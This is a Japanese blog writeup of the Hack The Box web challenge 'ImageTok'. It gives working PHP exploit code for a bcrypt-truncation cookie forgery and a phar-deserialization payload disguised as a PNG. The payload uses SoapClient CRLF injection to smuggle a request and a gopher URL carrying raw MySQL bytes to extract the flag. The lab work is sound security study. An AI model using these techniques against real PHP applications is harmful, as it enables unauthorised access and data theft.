よーでんのブログ

One for All,All for わんわんお!

ImageTok writeup

ImageTok

HTBのWeb challengeで特に難しかった問題。
解きながら書いてたメモを発掘して、確認したらリタイアしてたので供養します。

writeup

entrypoint.shを見ると、DBの関係ないテーブルにflagが入っている。SQLiだろうか。

phpからSQLを呼び出している箇所を探してみたところ、 UserModel.phpとFileModel.phpにあった。

        $files = $this->database->query('SELECT file_name FROM files WHERE username = ? ORDER BY created_at DESC LIMIT 5', [
            's' => [$this->user]
        ]);
---
        $this->database->query('INSERT INTO files(file_name, checksum, username) VALUES(?,?,?)', [
            's' => [$file_name, $this->getCheckSum(), $username]
        ]);

プレースホルダを使っているのでSQLiは無理そう。 他のアプローチを考える。

index.phpを見ると、/info や/proxy 等のURLを見つけた。 infoは phpinfo(); のみだったので、/proxy を読んでいく。

if ($session->read('username') != 'admin' || $_SERVER['REMOTE_ADDR'] != '127.0.0.1')
        {
            $router->abort(401);
        }

proxyはadminユーザが127.0.0.1からしか使えないようだ。SSRFだろうか。

        if (!empty($scheme) && !preg_match('/^http?$/i', $scheme) || 
            !empty($host)   && !in_array($host, ['uploads.imagetok.htb', 'admin.imagetok.htb']) ||
            !empty($port)   && !in_array($port, ['80', '8080', '443']))
        {
            $router->abort(400);
        } 

上記の条件を突破したらcurlされるっぽい。

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        $exec = curl_exec($ch);

        if (!$exec) $router->abort(500);

他の機能でSSRFやadminへの権限昇格が狙えないか探していると、session管理を自分で実装しているのを発見。

        $json = $this->toJson();
        $jsonb64 = base64_encode($json);
        $signature = base64_encode(password_hash(SECRET.$json, PASSWORD_BCRYPT));

        setcookie('PHPSESSID', "${jsonb64}.${signature}", time()+60*60*24, '/');

base64({"files":[{"file_name":"c5694.png"}],"username":"617607c89beaf"}).${signature}のような形式。 画像はアップロードするたびに増えていく。 署名のチェックは以下のような感じ。

            $split = explode('.', $_COOKIE['PHPSESSID']);

            $data = base64_decode($split[0]);
            $signature = base64_decode($split[1]);

            if (password_verify(SECRET.$data, $signature))
            {
                $this->data = json_decode($data, true);
            }

一応SECRETを確認したが、さすがにランダムだった。62**15パターン。「ブルートフォースで時間を無駄にするな」とコメントもある。

SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 15 | head -n 1)

phpのドキュメントでpassword_hashを調べていると、怪しい一文を見つけた。

PASSWORD_BCRYPT をアルゴリズムに指定すると、 password が最大 72 文字までに切り詰められます。

signature作成時にPASSWORD_BCRYPTを指定している。 これはつまり、json部分の73文字以降はsignatureに含まれないということだろう。

5枚程画像をアップロードして十分にCookieを長くした後、usernameをadminに書き換える。 usernameはjsonの一番最後にあるのでそのまま書き換えればok。 base64とurlエンコードをよしなにしてCookieを書き換えてアクセスすると、無事adminになることができた。

あとは127.0.0.1のフィルターをバイパスできれば良いのだが、わからない。 IP偽装できそうなところを探すも、全然わからないのでwriteupにお世話になった。

pharとかいうものが使えるらしい。 phar exploit とかでググるとデシリアライズで問題が起きやすそうな雰囲気。

phar: PHP Archive. javaのjarと似たようなもので、複数ファイルをまとめたアーカイブファイル

ImageModel.phpを見ると、__destruct()が定義されていた。

pharを実行させたくても、pngしかアップロードできないので一工夫が必要そう。

方法としては以下があるらしい

この後、SoapClientでSSRFをし、CRLFインジェクションでリクエストを自在に操り、Content-Lengthを操作してHTTP Smugglingをしてる。 gopherプロトコル等も使っていて、全然理解が追いつかないのでとりあえずSoapClientでSSRFを目標にやってみる。

<?php

class ImageModel
{
    public $file;
    public function __construct($file)
    {
        $this->file = $file;
    }

    public function __destruct()
    {
        $this->file->getFileName();
    }
}

$obj = new ImageModel(new SoapClient(null, array(
    'uri' => 'aaa',
    'location' =>  'http://127.0.0.1/proxy'
)));

$png_data = fread(fopen('image.png', 'rb'), filesize('image.png'));
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub($png_data . ' __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.png');

echo serialize($obj) . "\n";

120x120以上のimage.pngを用意して実行、実行時にはローカルでcurlが実行される。 $this->file->getFileName(); の行をコメントアウトしたら実行されなかったので、デシリアライズでうまくいってそう。

そのままexploit.pngをアップロードし、http://localhost:1337/image/phar:%2F%2F157ff.png にアクセスすると実行された。

$router->new('GET', '/image/{param}', 'ImageController@show'); /image/{param} なのでparamはユーザが指定できる。 FileModel.phpを見ると、file_get_contents($this->file_name); のようにしている。 ここでfile_nameはparamなので、phar://157ff.pngphar://で開こうとしたので実行されるという流れ。

実行されたときのログは以下。

127.0.0.1 - 403 "POST /proxy HTTP/1.1" "-" "PHP-SOAP/7.4.25" 
2021/10/25 08:41:09 [info] 90#90: *243 client 127.0.0.1 closed keepalive connection
2021/10/25 08:41:09 [error] 90#90: *241 FastCGI sent in stderr: "PHP message: PHP Warning:  mime_content_type(phar://d8148.png): failed to open stream: phar error: file &quot;&quot; in phar &quot;d8148.png&quot; cannot be empty in /www/models/ImageModel.php on line 16PHP message: PHP Warning:  SoapClient::__doRequest(): supplied argument is not a valid Stream-Context resource in /www/models/ImageModel.php on line 40PHP message: PHP Fatal error:  Uncaught SoapFault exception: [HTTP] Forbidden in /www/models/ImageModel.php:40
Stack trace:
#0 [internal function]: SoapClient->__doRequest()
#1 /www/models/ImageModel.php(40): SoapClient->__call()
#2 [internal function]: ImageModel->__destruct()
#3 {main}
  thrown in /www/models/ImageModel.php on line 40" while reading response header from upstream, client: 172.17.0.1, server: _, request: "GET /image/phar:%2F%2Fd8148.png HTTP/1.1", upstream: "fastcgi://unix:/run/php-fpm.sock:", host: "localhost:1337"
172.17.0.1 - 500 "GET /image/phar:%2F%2Fd8148.png HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"

/proxyにアクセスはできているが、403になっている。序盤に見た条件をバイパスしなきゃいけないかと思ったが、ピックアップしたif文二つでは400か401が返るはずだ。 grepで探してみると、nginx.confに403があった。

$ grep -rwn 403 .
./config/nginx.conf:38:            return 403;
./config/nginx.conf:42:            return 403;

関係ありそうな範囲をピックアップ。

        set $proxy "";

        if ($request_uri ~ ^/proxy) {
            set $proxy "R";
        }

        if ($http_host != "admin.imagetok.htb") {
            set $proxy "${proxy}H";
        }
        
        if ($proxy = "RH") {
            return 403;
        }

        location /uploads {
            return 403;
        }

この辺の条件に引っかかって403が返っているようだ。

"RH" みたいにしてるのはnginxでANDを実装する常套手段?

リクエストのhostヘッダがadmin.imagetok.htbでなければいけないが、 以下の様にしてもadmin.imagetok.htbは別に127.0.0.1に解決されるわけでもないのでうまくいかない。

$obj = new ImageModel(new SoapClient(null, array(
    'uri' => 'aaa',
    'location' =>  'http://admin.imagetok.htb/proxy'
)));

どうにかして127.0.0.1に向けてHostがadmin.imagetok.htbになっているリクエストを送ろうと考えた時に、Request Smugglingが使える。 user_agentにCRLFを入れるとリクエストが自由に操作できるようなので、 1つめのリクエストは127.0.0.1に、2つめのはHost: admin.imagetok.htbにして送信する。 Cookieはadminのものを用意した。

$body = "url=" . urlencode("http://uploads.imagetok.htb/");

$obj = new ImageModel(new SoapClient(null, array(
    'uri' => 'aaa',
    'location' =>  'http://127.0.0.1/upload',
    'user_agent' => "soap\r\nContent-Length: 0\r\n\r\n" .
        "POST /proxy HTTP/1.1\r\n" .
        "Host: admin.imagetok.htb\r\n" .
        "Connection: Close\r\n" .
        "Content-Type: application/x-www-form-urlencoded\r\n" .
        "Cookie: PHPSESSID=eyJmaWxlcyI6W10sInVzZXJuYW1lIjoiYWRtaW4ifQ%3D%3D.JDJ5JDEwJGpWRWVlTnZxTVBPU0JzTnpwNHBkN2Vzdy9QUjhMejRyVUlFTkEyS0lCejNPbUJidFhCTFV1" . ";\r\n" .
        "Content-Length: " . (string)strlen($body) . "\r\n" .
        "\r\n" .
        $body
)));

/proxyのレスポンスは500。curlが失敗したときに500が変えるようなので、curlは実行された。

        $exec = curl_exec($ch);

        if (!$exec) $router->abort(500);

urlのスキーマチェックは !preg_match('/^http?$/i', $scheme) となっているので、"http"もしくは""(空文字)で突破できる。 ここで http:///... というURLをパースすると $scheme は空になる。

/tmp # php -r 'print(parse_url("http://hoge.com", PHP_URL_SCHEME) . "\n" );'
http   
/tmp # php -r 'print(parse_url("http:///hoge.com", PHP_URL_SCHEME) . "\n" );'

/tmp # 

これを利用するとhttp以外のプロトコルが利用できるので、gopherを使う。

/infoからphpinfoが見れることがわかってるので、ユーザ名とDB名がわかる。 entrypoint.shからテーブルの構造もわかるので、それを参考にSQLを書く。

SQLはfilesテーブルにadminのファイルとしてflagが名前のファイルを作成させるようにする。 こうすることでadminでログインしたときにCookieのファイル一覧にflagがでてくるはずだ。

user : user_YPG0f db : db_KbwkI sql : insert into db_KbwkI.files(file_name, checksum, username) values((select flag from db_KbwkI.definitely_not_a_flag), "hoge", "admin");

最終的なリクエストは以下のようなかんじ。

$body = "url=" . urlencode("gopher:///127.0.0.1:3306/_%a9%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%75%73%65%72%5f%59%50%47%30%66%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%83%00%00%00%03%69%6e%73%65%72%74%20%69%6e%74%6f%20%64%62%5f%4b%62%77%6b%49%2e%66%69%6c%65%73%28%66%69%6c%65%5f%6e%61%6d%65%2c%20%63%68%65%63%6b%73%75%6d%2c%20%75%73%65%72%6e%61%6d%65%29%20%76%61%6c%75%65%73%28%28%73%65%6c%65%63%74%20%66%6c%61%67%20%66%72%6f%6d%20%64%62%5f%4b%62%77%6b%49%2e%64%65%66%69%6e%69%74%65%6c%79%5f%6e%6f%74%5f%61%5f%66%6c%61%67%29%2c%20%22%31%22%2c%20%22%61%64%6d%69%6e%22%29%3b%01%00%00%00%01");

$obj = new ImageModel(new SoapClient(null, array(
    'uri' => 'aaa',
    'location' =>  'http://127.0.0.1/upload',
    'user_agent' => "soap\r\nContent-Length: 0\r\n\r\n" .
        "POST /proxy HTTP/1.1\r\n" .
        "Host: admin.imagetok.htb\r\n" .
        "Connection: Close\r\n" .
        "Content-Type: application/x-www-form-urlencoded\r\n" .
        "Cookie: PHPSESSID=eyJmaWxlcyI6W10sInVzZXJuYW1lIjoiYWRtaW4ifQ%3D%3D.JDJ5JDEwJGpoVjlnWGVuemxWMVZDTmN3RkZhYi5MNFNMWE5HRDIwTFJrLkJuRGVVaFpDWGJxOGQyRnoy" . ";\r\n" .
        "Content-Length: " . (string)strlen($body) . "\r\n" .
        "\r\n" .
        $body . "\r\n\r\n"
)));

これで作成されたpng(phar)ファイルをアップロードし、/image/phar:%2f%2f[ファイル名].pngにアクセス、 adminとしてアクセスしたらCookieにflagがあるのでクリア。